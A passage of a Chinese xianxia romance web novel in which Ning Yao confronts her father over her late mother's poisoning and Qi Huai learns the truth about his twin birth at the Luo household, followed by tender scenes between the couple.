她脚步微微一顿,唇角扬起,笑意里掺着一丝抓不住的忐忑与希冀,“祁淮,我想……带你去见一个人。” 她从袖中取出一枚传送珠,指尖用力将珠子捏碎。下一刻,两人的身影已立于一片静谧的深林之中。 四周尽是亭亭的玉兰树,花开如雪,幽香浮动。 林间一处空地上,一座极朴素的坟茔安静地卧于树下。若非那块简单的石碑上刻着“羽青月”三字,几乎要隐没在清荫里。 “这里睡着的是我的公主娘亲,羽青月。” 宁瑶望着石碑,声音轻缓,像怕惊扰了沉睡的人,“她不是谁之妻,谁之女,也不是谁的娘亲。最后,她只是她自己。” 她说这些话时,嘴角噙着浅笑,眼底浓得化不开的思念,无声漫了出来。 两人将备好的纸钱香烛、还有几样鲜亮的果子仔细摆好。 祁淮忽然后退半步,规规矩矩地朝着石碑行了一礼,“小婿祁淮,见过岳母大人。” 宁瑶正沉浸在思绪里,被他这突如其来的一打岔,怔了怔,随即“噗嗤”笑出了声。 方才的伤感气氛,霎时冲淡。 纸钱烧尽,化作灰随风旋起。 宁瑶静静看着,心里某处空了很久的地方,被一种温踏实实的暖意填满了。 比什么山盟海誓都更真切,她此刻意识到,祁淮是她自己亲手选定的道侣。 祁淮伸出手,将宁瑶轻轻揽进怀中,“怎么要变小花猫了?”他的手掌一下又一下,轻拍着她的背。 “才没有,我这是被灰惹得。”宁瑶把脸埋进他衣襟,吸了吸鼻子。 待最后一缕轻烟散入林间,两人身影又回到了宁府玉兰苑…… 宁瑶吩咐人收拾出了主屋,祁淮已熟练给她摆放着东西。 “郡主,这拜贴怎么解决?” 她接过青栀递来快堆满一匣子的拜帖,挑了挑眉。 不过回来皇城半日,这“关切”倒是来得迅猛。 只怕十之八九是醉翁之意不在酒,想来瞧个新鲜,看看她这归来的郡主成了何等模样。 她随手将匣子拢到一边,唇角抿了抿。三两句话,便让青栀将那些邀请一一婉拒了回去。 临近晚膳时分,宁子桉身边的小厮忽然来请,说是老爷要宁瑶与祁淮一同过去。 宁瑶与宁子桉同桌吃饭的机会,实在屈指可数——他常年在外,两人之间,甚至比不上她和王氏的熟络。 她失神不过一瞬,答道:“知道了,且待我们整理一番。” 小厮退下后,祁淮转悠察觉出她不对劲:“不想去?” “不,”宁瑶压下心头那点异样,今日宁子桉的举动透着反常,“必须去看看。” 用膳处设在宁子桉院中的花厅。 王氏竟不在场,宁瑶心下稍宽。 待二人落座,碗筷布好,菜肴便一道道传了上来。玲珑虾饺、莲藕排骨汤,大多是她偏爱的口味。 “王厨记得你的喜好,我特意嘱咐她多备些。” 席间气氛疏淡,宁子桉往她碟中夹了菜,仿佛借此撬开一丝话缝,“这一年杳无音信,为父很是担心。” “我误入一处秘境罢了,无甚稀奇。”宁瑶避重就轻苗疆一事,掐头去尾,拣了几件无关痛痒的事说了,顺势尝了一口菜。 熟悉的滋味,王大厨的手艺一点没变。 宁子桉听着,眉头却未展:“瑶瑶,此次在家多住些时日罢。天道宗那边,我已派人去信说明。” 宁瑶应了一声,低头又吃了几筷。 忽而,骨节分明的手越过她眼前,精准地将一块剔了刺的鱼腩放入她碗中。 祁淮看着她,眸光温润缱绻:“多吃些。” 宁瑶展开笑意“嗯”了一声。 宁子桉看着两人自然而亲昵的举动,想说的话一时噎在喉头。 晚膳将尽时,祁淮被宁子桉借故支开。 宁瑶独自跟着他进了书房。 门扉合上,宁子桉脸上慈色并未褪尽,神色却凝重起来:“道侣之事,非同儿戏。那洛子晟虽曾行事有差,可他终究……” “爹爹是来替他做说客的?”宁瑶倏然地抬眼,目光里未加掩饰的失望与伤怀。 这眼神刺得宁子桉失语。 他叹了口气:“非也。为父只是不愿你重蹈青月的覆辙,选错了人。这人并非良缘,趁机会断了……” 他语重心长,一副全然为她筹划的模样。 仿佛那个在过去许多年里缺席的爹爹,在她“需要”的时候“适时”地出现了。 宁瑶咬紧了后槽牙,泛起燥意,呼吸屏住。 记忆一幕幕在脑袋中轮换播放,直到她眩晕地认定宁子桉陌生到她有些不认识。 作者有话说:[爆哭][爆哭][爆哭]ps:上一章写的状态不对,修改部分细节,增加冲突点,建议小宝们重新看一下上一章的后半段!(祁淮、洛子晟修罗场)[亲亲][让我康康] 第85章 她抬起眼,一字一顿:“那您告诉我,何谓‘错的人’?” 宁瑶向前一步,声音压着火,语气却带着颤:“难道这世上,有比娘亲嫁给您,更错的事吗?” 他不在意羽青月,也不在他这个女儿。 宁子桉面色骤然一僵,血色褪尽,只剩下无言的苍白。 他沉默了很久,终是抬起眼。 眼前的宁瑶像只彻底炸了毛的猫,眼神受伤和愤怒灼得心头发慌,让他竟不敢直视。他长长叹了一口气,叹息里满是疲惫。 宁瑶早已没了听下去的欲望,行礼又端出无可挑剔的恭顺样子,“爹爹若没有别的教诲,孩儿先告退了。” 说完,宁瑶转身快步离去。没能看见身后之人眼中一闪而逝的痛悔与挣扎。 “瑶瑶!”宁子桉高声呼唤。 就在宁瑶即将跨出门槛,宁子桉叫住了她。 他的声音干涩,看向她的背影时满是复杂:“我从未……做过对不起你娘亲的事。” 宁瑶脚步钉在原地回眸看去。 宁子桉不再多言,转身触动了书房内的机关。机括响动,墙壁移开,露出其后一方幽暗的密室。 密室显露的刹那,平日威严神采的男人,仿佛被一瞬间抽走了精气神,显出一股疲倦。 “进来吧,”他侧身,“有些事,你该知道了。” 宁瑶心有疑虑踏入,下一刻,呼吸一滞。 密室四壁,乃至穹顶,密密悬挂着画卷,地上也整齐堆叠着许多,几乎让人无处下脚。 每一幅画上,都是同一个女子:她的公主娘亲,羽青月。 她的模样,或笑或嗔,或静立或回眸,栩栩如生。 宁瑶难以置信地环视一圈,回头道:“为什么这里全是娘亲的画?” 宁子桉背对着她,拢在袖中的手紧握成拳。 他缓缓展开手边最近的一卷,画中人身着猎装,飒爽扬鞭,他知道这是宁瑶为何在众多武器选择长鞭的原因。 宁子桉目光掠过画上人的眉眼,面上因长久不曾表达情绪而刻意的无波无澜,仿佛僵硬的只有一片虚无感。 “这些年,我总以为……”他停顿了很久,像在说着某个连他都无法相信的事情,“我该是恨她的。” 宁瑶怔住了,一时不知作何表情,面色凝重。 “当年在天道峰,我、你娘青月,还有你如今的师尊岳伍,同是宗主座下弟子。我们三人曾是最好的朋友。” 宁子桉顿了顿,试图拾起旧日欢愉,“迎娶青月,得知她有孕,初为人父,我极为喜悦。” “可后来我们在秘境生变,你娘身中奇毒。为保你平安降生,她将毒素尽封于心脉,自毁灵根,从此道途断绝。” 宁瑶呼吸一滞,浑身战栗。 左长泽提过娘亲中毒,却从未说竟是为了她。 “发生了什么?是什么毒?”宁瑶声音发紧,眼眶已然红了。 “一种源于苗疆的毒藤,名唤十日面,你娘亲是为了救我才……” 宁子桉闭了闭眼,良久才续道:“此毒专噬两情相悦之人。其中一人中毒始,相见之日便只剩十面。每见一面,心脉便衰一分,直至十面见尽,魂散身亡。” 他指尖抚过画卷上女子含笑的脸,轻颤着。 “她擅作主张,秘密封印了我们相爱的记忆与情愫,教我再见她时,亦不觉痛苦。而那些年四处奔波,一面强忍不见,只为多偷几日;一面我在疯寻解开十日面的解药。” “世事无常,未曾料到这毒太烈,纵不见面,仍在蚀空青月的根基,药石无医。我们省下的那几面,通通化作最后一面,在她弥留之际,在她与我阴阳相隔。”宁子桉喉头哽咽,再也说不下去。 宁瑶怔在原地,听完震惊地良久没有反应,她想到公主娘亲那些年原来一直中毒硬扛着,心里揪紧了疼。 她迫切想为娘亲寻个道理,忙着追问一个答案:“王氏了?” 宁子桉身形僵硬了一下。 愧意涌上,他甚至不敢看女儿的眼睛。 或许他也未曾留意,当年那个蹒跚讨抱、会哭会闹的女童,早已长成了亭亭模样,能言善辩、机灵异常。 那些年,他只顾追赶羽青月渐熄的生命,却弄丢了眼前小小的她。 待记忆复苏,崩溃如此无声无息,痛彻心扉,想再靠近已是徒然。 唯能砸下数之不尽的灵石灵宝,笨拙地填补那片巨大的空洞,弥补她缺失的亲情。 宁瑶直勾勾望着他,他望着这张与青月有六分相似的脸,若记忆未醒,本该无悲无喜、毫无情绪吧,可痛楚如此新鲜,恍如昨日。 爱人已逝,痛却长久留下。 “我与她原是一场交易。我只想找个人,照料失了娘亲的你。”他声音越发干涩,透着连他自己都没发现的心虚。 “她的儿女了,你敢说……” “不是。” 得到这个答案,宁瑶没有感到任何喜悦,可又为娘亲感到一丝欣慰,起码他没有对不起她的公主娘亲。 “那你知道她这些年如何待我吗?” 宁瑶视线里是他闪躲的眼,又看向满室画像,心口为娘亲拧着一口气,也为自己泛出酸楚的怨。 “她求的是一双儿女,何曾分过我半分真心?” 她转回头,目光清亮而锐利,直直刺向他:“你画了满屋子娘亲,是还爱着,还是只剩你口中恨了?或许你恨的其实不是她,而是我?” 被她这问题问住,宁子桉怔了怔,眼底翻涌起痛楚、惶惑与茫然,唇动了动却哑然,欲言又止。 当年,其实将这毒逼至未出生的孩子身上,不会吞噬了青月的性命…… 宁瑶转眸直勾勾看向他,话说的直白,没有留下任何准备的机会。 宁瑶却不放过他,继续追问:“这些年来,爹爹,我究竟算什么?” 沉默在父女间蔓延。 宁瑶听着自己急促的心跳,曾经对亲情的期盼,在此刻死寂的沉默里寸寸被磨碎。 她干笑地扯了扯嘴角,想笑,却比哭还难看。 满室画卷上的娘亲神色依旧温柔,她眼眶通红,只想落泪。深吸几口气,硬生生将泪意逼了回去,表面是一副若无其事。 “瑶瑶,爹爹我……”宁子桉终是挤出声音,却哽在喉间,“我不是恨你,我是……怨怼自己。” 千言万语,此刻,只剩无力的默。 宁瑶没指望他能说出什么新鲜话来,转身要走,或者说是……逃避。 他抬手拦在她身前,“等等,为父还有话说。” 宁瑶脚步一顿。 “我与你娘亲当年在秘境中曾窥得天机,”宁子桉清嗓一咳,语气满是关切,“你的姻缘,落在洛府。今日是爹爹失言,不过是……” “不必说了。”宁瑶心中澄明,更清楚他未尽的用意,“我的路,我自己会走。” 她不再停留,转身离去。 暂且将烦扰抛在脑后,宁瑶站在玉兰苑外,深深吸了一口气,抬手飞快地扇了扇发烫的眼角,将那点不争气的水汽逼了回去。 她牵起嘴角,推门时脸上已挂上惯常的笑,推门而入,就见祁淮居然负手而立在门口,静默等她。 “祁淮……” 他在院内本是斜倚在玉兰树下,指尖缠弄把玩着黑蛇。 捕捉到她靠近的气息悄然行至门口,于门前停顿了。闪身让她第一个瞧见,开门见那笑意明媚,眼底却蒙着一层薄雾。 小猫这点伪装,瞒不过他。 祁淮上前一把将人带进怀里,手臂收得很紧,下颌轻轻蹭过她的发顶,“谁惹你不痛快了?” “没有的事。” 宁瑶把脸埋在他肩窝,声音闷闷的,手臂却环得更用力些,仿佛要将他身上那股清冽干净的草木气息全都裹到自己身上。 她吸了吸鼻子,声音闷闷地提起正事:“明日,我们得去一趟洛府。” 她想转移祁淮注意力,抬了头,努力让声音听起来轻快些:“祁淮,你紧张吗?” 彼此心中早有答案。 祁淮指尖漫不经心地绕着她的鬓角发丝,语气平淡:“不过是瞧瞧那陈年旧账罢了。” 宁瑶若有所思地点点头,却见他忽然弯下腰,凑得极近。 幽深的眸子锁着她,指腹轻轻摩挲过她微红的眼皮,落下一个温凉的吻。 “到底怎么了?笑得比哭还难看。” 宁瑶心下暗叹祁淮果然敏锐得可怕,刚想抬眸再挤个笑容,脸颊便被他轻轻捏住。 祁淮倾身到呼吸交缠之处,语气不经意放柔,“在我面前不必逞强。” “我没有。”宁瑶眨了眨眼,见他眼神探破一切的认真,温柔地盯着她时呼吸一滞。 “是有些事情……”隐瞒不下去,宁瑶省去细节告知,末了故作镇定加了一句,“我真无事。” 祁淮手臂收得更紧,声音闷在她发间:“嗯,我家夫人从始至终是个坚韧女子,比藤蔓还韧。可再韧的藤蔓,淋了雨也是要垂下叶子的,坚韧之人亦可落泪。” 宁瑶心尖像被这句话不轻不重地挠了一下,酸胀得厉害。 她终于把脸彻底埋进他胸膛,想笑,唇角刚弯起,热泪却抢先一步滚落。 泪珠落在他衣襟,微凉的怀抱比任何人的比,都要炙热温暖。 一只屋檐下躲雨的猫,终于颤巍巍地,找到了能栖息的干燥之处。 湿热的泪烫着他心口,祁淮觉得那处狠狠一揪。 他的宁瑶,连哭都是静悄悄的,何时像现在这样,抽着气压抑又委屈的呜咽。 他顿时有些慌了,只能一下下,反复摩挲她的后脑,眸底阴郁褪去,只剩下全然的、笨拙的疼惜。 宁瑶在他怀里哭到身形微颤,直到最后一点力气和郁闷都随着眼泪流尽,才渐渐化为抽噎。 “祁淮,我……” 他低下头,吻去她睫毛上将落未落的一滴泪,打横将她抱起。 宁瑶寻到他颈窝处安放脑袋,被他小心抱着坐下,接着一杯温热的茶水递到了唇边。 她乖乖喝尽,干灼的喉咙与眼睛总算熨帖了些。 “我是不是哭得特别丑?”她带着浓重鼻音,小声嘟囔。 听见她还能这样调侃嘀咕,祁淮眼底掠过一丝极淡的笑意,指尖轻轻抚过她发热的眼尾:“不丑。是梨花带雨,我心发颤。” 她眼尾还洇着红,眼眸被泪水洗过,湿漉漉的。 祁淮不爱看她哭,每一次都像有针往他心尖最软处扎,她该一直笑才好。 他起身备了热水,拧了温热的帕子,细细擦净她的脸。 “躺下歇歇。”他语气温和,眸光却执拗,眼底暗光一闪而逝。 旁人如何,他懒得多看一眼。可那人惹得她,偏偏是宁瑶爹爹。 宁瑶躺下,他拉过锦被仔细盖好。 她眼睛的酸涩退去,深重的疲惫涌了上来。祁淮将她揽入怀中,手臂伸直给她枕着,一动不动。 宁瑶睡醒迷迷糊糊睁眼时,见他仍醒着,目光落在自己脸上。 “怎么不睡?” “想让你睁眼就能看见我。”祁淮手臂收紧,将她更深地拥入怀中。 宁瑶想起自己昨日的狼狈,脸颊微热,不由地把发烫的脸颊更紧地贴向他心口。 见她脸颊微红,祁淮没忍住极轻地吻在她唇角,感知到她下意识回应,便逐渐加深了这个吻。 想她气喘吁吁看着他,再想不了其他烦闷之事。 “夫人。”他唇角轻蹭了蹭她脸颊。 若即若离地触碰,宁瑶痒的身形轻颤,缩了缩身子,轻笑着:“我痒。” “亲回来,我才能停。”他狡黠眨了眨眼,眸底的渴意被一点点撩拨。 宁瑶低低一笑,捧着他的脸颊,亲了一口,“好了,快起来了,今日得去洛府了。” 作者有话说:本人化身圆规,开启收尾工作ps:最近眼睛写着写着便虚眯,用眼过度,等我缓缓 第86章 温存片刻后,两人整理好衣装,前往洛府。 马车刚停稳,便见门口已有数人翘首等候。 当朝丞相洛尘相貌儒雅,蓄着短须,身旁立着丞相夫人与两位姨娘。子嗣不算兴旺,连洛子晟在内,两儿两女。 洛尘早先接了宁府的信,听闻有与他亲子容貌酷似之人,原本只当无稽之谈。昨日听子晟亲口证实,才将信将疑决意亲自一见。 祁淮撩帘下车,洛府门前顿时响起几声压抑的惊呼。 他并未行礼,只静静望着那张与自己有几分相仿的中年面容,眼底无波无澜。 洛子晟低声唤了句:“爹。” 洛尘恍然回神,忙将人迎入府内。 正厅之中,他取出一幅有些年岁的画卷,徐徐展开,正是已故夫人祁菱的画像。 祁淮宁瑶细看之下,容貌和他们之前苗疆所见如出一辙。 “当年,你娘亲从苗疆随我私奔至羽安国,可后来……因府中流传双生子乃不祥之兆,她便带着你回了苗疆。”洛尘声音有些发涩,“她……如今可还安好?” “回去不久,便去世了。”祁淮语气平淡。 洛尘面色掠过一丝痛色,再看向祁淮时,目光软了几分:“回来便好。如今可愿回洛府住下?你与子晟终究是一母同胞的亲兄弟,正该多亲近。” “不必。”祁淮的话截断了洛子晟尚未出口的不乐意的。 一时,洛子晟神色清冷,辨不出情绪。 祁淮指尖悄然牵上身旁宁瑶的手,握紧了些。 “我此番前来,只为了一桩多年夙愿。” 祁淮目光扫过厅内济济一堂、手足俱全的景象,心口似被细针刺得一痛,“如今,我只愿随我的夫人一处。” 洛尘怅然一叹:“既如此,我不强求。你既随母姓祁,名淮,往后……多回来走动便是。” 当年旧事掀开终究难堪,他亦不愿府中再起波澜。 “但走之前,有一事,我必须知晓。” 洛尘心提了起来,神色端肃起来:“何事?” “真相。” “往事何必……” “我在意。” 祁淮眸光如幽暗潮水涌动,“这些年,我无一日不想弄清当年究竟。您若不愿说……” 他指尖微动,一只小虫自袖口钻出,乖顺地匍匐在他掌心,缓缓爬行。 “放肆!”洛子晟神色复杂,一步上前,剑身已横挡于两人之间。 宁瑶轻轻捏了捏祁淮的手指,指尖在他掌心安抚性地点了点。祁淮眼睫微垂,蛊虫便悄无声息地隐没无踪。 洛尘见他执意如此,挥手屏退左右,“阿瑶,你去偏院……” “她是我夫人,有什么是她听不得的。”祁淮眸光阴沉,紧了紧相牵的手。 洛尘眸子眯了眯,“便留下来听一听吧。” 洛子晟也站着没动,一时间,厅内只剩下四人。 洛尘不紧不慢的开口道:“当年府内双生子降生,族中长老预言一子会生祸端,搅乱府内安宁,力主溺毙其中一个。 你娘亲性情刚烈,忍受了一年后,抱着被选中的你一去不返。这些年,我从未放弃寻找她的踪迹……” 祁淮忽地打断他,眼神锐利仿佛撕开他的伪装,“苗疆你去过,为何寻不到她?” 洛尘面色微沉,“自然去过。可惜你们族长守口如瓶,只得无功而返。如今你既回来,往事何必深究?你娘当年抛夫弃子,子晟那时也同样需要她。” 祁淮缓缓抬眼,眼神阴郁得能滴出水来,却忽然讥讽笑了一下。 在洛府挣扎求存了整整一年才离开…… “她救了我的命,回到苗疆,一年后病逝。一年时间,足够你把苗疆翻过来。是真寻我们,还是去杀我,只怕只有你自己清楚。” 一旁的宁瑶心里咯噔一下,忽然想起归云姐曾说,祁淮的娘亲回去苗疆时心如死灰。 一个女子抱着怎样决绝的心情,才会带着刚满周岁的幼儿仓皇离去。其中万般艰辛,竟被洛尘轻描淡写,一语带过。 知晓了真相,祁淮脸上无悲无喜,更无对洛尘所谓子对父之情,微偏过头对宁瑶低声道:“我们走。” 空气令人窒息,洛尘开口道:“此事有关洛府荣耀,走之前我需你们以修为发誓,不可外传。若无事,不可归府。” 他不在意两人什么神色,眼神透着几分肃然。 祁淮嘲意地冷哼一声,阴郁的眼中杀机如暗潮袭来。他对他可并无什么舐犊情深,上演什么父慈子孝。 “我们想走,你拦不住。” 洛子晟上前一步,洛尘拉着他的手腕,并未阻拦。 待两人走后,洛子晟僵在原地,脸上血色褪尽,半晌难以置信地望向洛尘。 “爹,你只说娘亲离去,从未提过预言,也未说过她带走了另一个孩子……” “闭嘴!”洛尘厉声喝止,面上温和面具碎裂。 “记住,错全在她,这孩子出生,我屡次劝她舍小保大,她何至于在你一岁就抱着他远走高飞?这孩子此时回来,已是祸端,风声传到陛下耳中……下令,管好府内的嘴。” 他盯着祁淮消失的方向,眼神嫌恶,仿佛在看什么不祥之物。 洛尘转向神情恍惚的儿子,声音带着蛊惑与挑唆:“预言说他生即不祥。如今你看,他是否一来,夺走了你珍视之物?” 洛子晟猛然抬头:“您怎知……” “你那点心思,自然瞒不过你老子。”洛尘眸光深处,尽是算计。 离开洛府有一段距离了,祁淮的手仍紧紧攥着宁瑶的。 他垂着眼,掩下几分紧绷,忽地将人揽入怀中,全然不顾街头往来目光,将脸埋在她颈侧,深深吸了一口气。 仿佛唯有这样,才能确认宁瑶的存在。 后知后觉,祁淮感受到,胸腔内躁动地响动。 一个来自那幅画,那模糊的女人影子,都在告诉他:曾经有一人也为了他的性命,拼了命要他活下去。 “夫人,我曾以为知晓真相,寻到亲眷,这会是快活事。可如今得知真相,心里只有空落落的,半分欢喜不起。” 被周遭视线看得她耳根发热,宁瑶把脸在他胸前埋了埋,抬手轻抚他后背。 “世间亲缘,本就难尽如人意。祁淮,你还有我。”这话是说给他听,亦是在告诉她自己。 她仰起脸,冲他一笑。 祁淮眼底阴郁的雾霭,被她笑意一点点驱散,“我有夫人,足矣。” 宁瑶牵着祁淮漫无目的地闲逛,转移他的一切注意力,先拉他去铺子买了一包桂花糖糕,又熟门熟路地拐进一家酒楼,直奔三楼临窗的雅间。 刚落座,她便拈起一块糖糕,故意挑了挑眉,指尖托起他下颌,笑盈盈递到他唇边:“来,尝尝甜的,心情会变好。” 祁淮眸光沉沉,只凝着她娇俏模样,启唇含住糕点,齿关轻咬她指尖。他唇角弯起一抹笑,眸底满是得逞的笑:“嗯,甜。” 宁瑶笑着缩回手,摸了摸指尖。 又咬人,这家伙到底懂不懂什么是情调。 “想吃什么随便点。这香定楼我以前常来,味道可是一绝。” “点夫人爱吃的便好,我随夫人口味。”祁淮说得自然。 宁瑶瞥他一眼,发觉他如今“夫人”二字叫得是越发顺口了。 “好啊。”她点了五样招牌菜。待菜上齐,先夹了一筷鲜嫩的鱼脍放入他碗中,“尝尝这个,如何?” 祁淮依言尝了,点头:“色香俱全,确是好手艺。不过……” 他眼底掠过一丝玩味的恶劣,“比之我亲手烹制的菜肴,夫人看来,孰高孰低?” “人家是十几年的老招牌,自然有名声在外。可这酒楼饭菜又不能日日吃到,”她眼波流转,望向他,“自然是你做的最好,手艺不遑多让。” “你?”他偏要追问,故作无辜地瞧着她,“我是谁?夫人可得说全了。” 宁瑶轻咳一声,脸颊微热:“夫君。夫君做的好吃,行了吧?” 祁淮这才低笑起来,伸手托住她下巴,夹起一块剔了刺的鱼肉,诱哄般递到她唇边:“夫人金口玉言,说的自然是实话。” 宁瑶张口接了,慢慢咀嚼,瞪他一眼。 这人绝对是故意的。 饭后,两人顺着长街慢行消食。 不知不觉行至城濠边,但见河岸灯火初上,临近中秋,节味已浓。 不少男女正在河边俯身放灯,亦有盏盏孔明灯载着微光升入暮色已深的天空。 宁瑶灵机一动,从摊上挑了两盏最亮的孔明灯,递了一盏到祁淮手里。 “坊间传言,把愿望写在灯上放飞,便能上达天听,心想事成。” “无稽之谈。”他嗤笑一声,却接得稳当。 “快写呀。”宁瑶抿唇笑着,提起笔佯装思索,余光却悄悄往他那边飘。 祁淮手腕一偏,将灯笼轻巧地掩向身侧,侧头望来含着笑,那两枚小痣在微光下平添蛊惑。 “夫人想偷看?” “谁、谁要偷看!” 宁瑶耳根微热,扭回头,在自己的灯上认真写下:愿彼此岁岁平安,岁岁有今朝。 两盏灯晃晃悠悠升入天际。 宁瑶仰头望着,瞥见祁淮那盏灯上,墨迹淋漓:愿与夫人,生生世世,情缠同心,死生不离。 她心尖蓦地一颤。 “不会的。”她轻声说。 是在应那盏灯,也是在应他。 祁淮垂下眼睫,嗓音压得低哑,“夫人,不会离开我的,对吗?” “嗯。” 宁瑶颔首。 “若我,当真是不祥之人呢?” 祁淮脊背绷紧,死死锁住她,紧张的呼吸为之一紧。 过往的,甚至更久远的记忆,那些属于魔,更属于他祁淮的记忆,挤压在这一副皮囊之中。 他知道,神色平静之下疯长的欲念。 若宁瑶真想走,他绝不会放手。 “哪来什么不祥,听见没?那些是无稽之谈。”宁瑶蹙眉,见他蓦然罕见的脆弱,想也没想便踮起脚尖,于他微凉的唇角啄了一下,印上一吻。 她捧住他的脸,望进他骤然为之一缩的深邃眼眸里。 宁瑶一字一句:“我的祁淮,不是不祥之人,是顶好的人。” 祁淮怔住,指尖发麻,滚烫的暖流心间流淌,忽的歪头一笑,俯下腰去在灯火中追着吻上那翕动的唇瓣。 眸中欲念起。 四周的喧嚣声已熄,远去的灯火不存,只剩下宁瑶的呼吸声、心跳声。 她的手腕被轻轻扣住,微凉的指尖牵引着她的手,环上他窄瘦的腰身。 不等她反应,反身将她彻底拥入怀中。 一只手落在后颈,指尖摩挲着颈侧的皮肤,感受情缠蛊传来的,唯有他能懂的细微震颤。 吻密密麻麻地落下,带着无限渴求与确认。 一点点攫取彼此气息,纠缠深入,直到宁瑶软软地抵着他肩膀轻捶一下,祁淮笑着才堪堪松开。 宁瑶靠在他胸前平缓着喘了两口气,待晕眩感稍退,便仰起脸,“走啦,回家。” 宁瑶笑着牵着他往回走,思绪逐渐飘开。 按宁子桉所说,她命里姻缘落在洛府,这才有了与洛子晟自幼一纸婚约。 若是祁淮当年未曾被抱走,前往苗疆…… 宁瑶失笑摇了摇头,将无用的假设彻底甩开。 眼前人,便是最好的因果。 “夫人在想什么,只顾着笑也不理理我。”因刚刚的一吻,祁淮被亲的雀跃欢愉,可宁瑶却在出神。 他克制不住心底病态躁动,捏了捏她的后颈,好让某人多瞧瞧自己。 宁瑶侧眸一笑,刚要说什么,洛子晟挡在两人回府的必经之路上。 “我有话要对你说。”洛子晟看向宁瑶,眼神是从未有之的微光,“宗主唤我们即刻出发回宗门。” 作者有话说:[狗头叼玫瑰]大家多多留评,收藏一下小作者的预收文和专栏吧 第87章 宁瑶心下嘀咕,面上却未显露分毫:“有这事?我怎的半点不知情。” 洛子晟神色顿时一沉:“具体缘由尚且不明。” 见他模样不似作伪,宁瑶下意识转头看向祁淮。岳伍的话言犹在耳,祁淮不得再入天道宗。可她不能,更不想把他一个人独自留下。 接触到她的眼神,宁瑶尚未开口,指尖便被他轻轻勾住。 祁淮挨近了些,“夫人去哪儿,我自然去哪儿。”他说话时,指尖若有似无地摩挲过宁瑶的虎口,身形亦不经意偏转半寸,恰好将那十指相扣的模样,好让洛子晟好好睁眼瞧见。 洛子晟面色几不可察地变了一变,终究没说出反对的话。 只是目光掠过祁淮时,复杂得难以描摹,忮忌到或许还有一丝他自己都不愿深究的涩意。 “我们先回住处收拾。”宁瑶拉着祁淮打算回府准备,余光却不期然与洛子晟的视线撞了一刹。 她微微一愣。 从前的洛子晟,眼神霁月清风,一览见底的清冷,何时像现在这样。 清冷之月的光落在水面,掀起了一层又一层波澜,底下却藏着看不清的暗涌。 她还未及细想,洛子晟已如梦初醒移开目光,转身离去只留下一句语调微绷的话:“明日辰时汇合,我们尽快出发。” * 三人自羽安国皇城匆匆启程,灵船行至半途,一只传信千纸鹤闪着微光,落入宁瑶掌心。 是夜烁卿的回信。展开一看,原是他们失踪一年平安归来的消息传回了宗门,宗主大喜,急令速归。 看来洛子晟并未虚言。 宁瑶心下稍安,笑着回了千纸鹤。纸鹤振翅飞远,脚下灵船却猛地一颤,缓缓向着下方荒芜山野坠落。 “暂且在此歇息吧。” 洛子晟率先步出船舱,环视四周。 野草蔓生,唯一显眼的建筑是一座倾颓破庙。灵船歪斜地停在一旁,虽失了动力,算得上能遮风挡雨。 “船上有三间舱室,正好一人一间。”宁瑶说着,朝祁淮笑了笑,便自行转身进了最近的一间,合上门扉。 她并未看见,身后一道黏着的视线晦暗潮湿地追随着她的背影,直到木门彻底隔绝。 祁淮收回目光,转向洛子晟,冷冷哼了一声。 他虽不明白宁瑶为何突然不与他黏在一处,将缘由归咎于这多余之人。 此人为何偏要同行,独自离去岂不干净。 夜半时分,宁瑶正睡得朦胧,体内火灵力毫无征兆地翻腾起来。未待她反应,熟悉的凉意灵力温柔覆上,将躁动悄然抚平。 她睁眼,恰好对上一双近在咫尺的眸。 祁淮不知何时站在她榻边,悄无声息的。 宁瑶下意识往里挪了挪,空出位置。祁淮极自然地侧躺下来,手臂一揽,便将她牢牢圈进怀中。 寻了个舒适姿势窝好,宁瑶重新阖上眼。 “为何不与我同住一室?”祁淮嗓音闷闷在她发间,透着一丝难以察觉的不悦与酸涩,“因为他在,是吗?” “灵船不隔音,总不好天天让他吃狗粮。” 宁瑶脸颊微热,捏了捏他的掌心,“况且,就算没有他,你我整日形影不离,久了也会腻的……吧?” 她话虽如此,心底也因拉开的距离,泛起一阵微陌生的空落。 “我却偏要如此。”祁淮抬手布下一道隔音结界,鼻尖亲昵地蹭过她颈侧。 “夫人须得时时在我眼前才好。”他顿了顿,语带疑惑,“夫人,‘吃狗粮’是何意?” 宁瑶抬眼见他故作委屈的神色,忍俊不禁憋着笑,心里阴霾随之散了些。 “意思就是,他孤身一人,没有道侣,看着我们亲近,便是‘吃了狗粮’。” “原来如此。”祁淮似懂非懂得应答,手臂收得紧了紧,“让他这‘外人’多吃些又何妨。”“外人”二字,他咬得格外清晰。 察觉到他真是闷闷不乐,宁瑶由他抱着。 他像一只八爪鱼将她缠紧,头埋入她颈窝,眷恋地汲取独属于她的馨香。 祁淮忽然捉住关键,抬起头,深邃目光一眨不眨地锁住她:“夫人并非为了他,才与我分开?” “当然不是。”宁瑶心尖一软,泛起暖意,“吃醋了?我的夫君怎么是个小醋缸……” “是又如何。” 他忽地一笑,答得理直气壮,低头在她脖颈上不轻不重地吮了一口,留下一点浅淡的红痕。 祁淮目光沉沉,带着毫不掩饰的占有欲,可又不想吓到她,勉强克制住住偏执,“我只是不喜他。尤其不喜他缠着你,惹人心烦。” 即便知晓洛子晟与他那层血脉关联,也丝毫不减他的戒备。 他一口气说完,牵着起宁瑶的手按在自己心口:“不舒服。夫人,这里疼。” 掌心下是他坚实胸膛,急促心跳。 宁瑶仰头安抚般轻啄了一下他的唇,退开时眼含笑意眨了眨:“这样了,可好些了?” “嗯。”祁淮幽深的目光紧紧落在她唇上,像是虔诚的信徒追随着一切,凑上去亲了又亲。 他撬开宁瑶的唇齿,勾缠着舌尖,口津在彼此间交缠。 一吻亲完,宁瑶唇瓣湿润,泛着一层好看的水光感,他心底欢愉至极。 “隔音不好。”宁瑶把脸埋进他肩窝,小声嘟囔。 “我布了结界。”祁淮指尖随意虚划,吻上她泛红的耳尖,见宁瑶脸颊微红,抿着唇,他得逞般弯起眼,转而去亲她脸颊。 他的小猫早不怕这些亲昵,却总改不了害羞的性子。 若非她记得幻境中的彼此成亲亲昵的零星片段,此刻怕已从头红到脚。 餍足地吻罢,待她气息渐匀,祁淮将人揽紧,十指扣入她指间,强压下渴意,声音低哑:“睡吧,夫人。我说了,今夜什么都不做。” 宁瑶点点头,全心依赖地窝进他怀中。 微凉的体温透过相贴的肌肤传来,与她后颈的情缠蛊隐隐呼应。 “你说了,什么都不做的。”宁瑶额心抵着他的额,小声控诉,“耍赖。” “只是灵修而已,夫人。”他答得理直气壮。 灵与肉未合,不过神魂相依,算不得破戒。 